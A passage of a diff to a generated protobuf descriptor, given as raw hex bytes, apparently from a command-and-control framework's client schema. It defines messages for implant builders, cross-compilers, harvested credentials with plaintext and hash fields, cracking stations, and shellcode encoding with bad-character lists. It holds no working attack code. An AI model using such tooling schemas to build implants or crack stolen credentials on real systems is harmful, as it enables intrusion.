0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, - 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, - 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, - 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, - 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, - 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, - 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, - 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, - 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, - 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, - 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, - 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, - 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, - 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, - 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, - 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, - 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, - 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, - 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, - 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, - 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, - 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, - 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, - 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, - 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, - 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, - 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, - 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, + 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, + 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, + 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, + 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, + 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, + 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, + 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, + 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, + 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, + 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, + 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, + 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, + 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, + 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, + 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, + 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, + 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, + 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, + 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, + 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 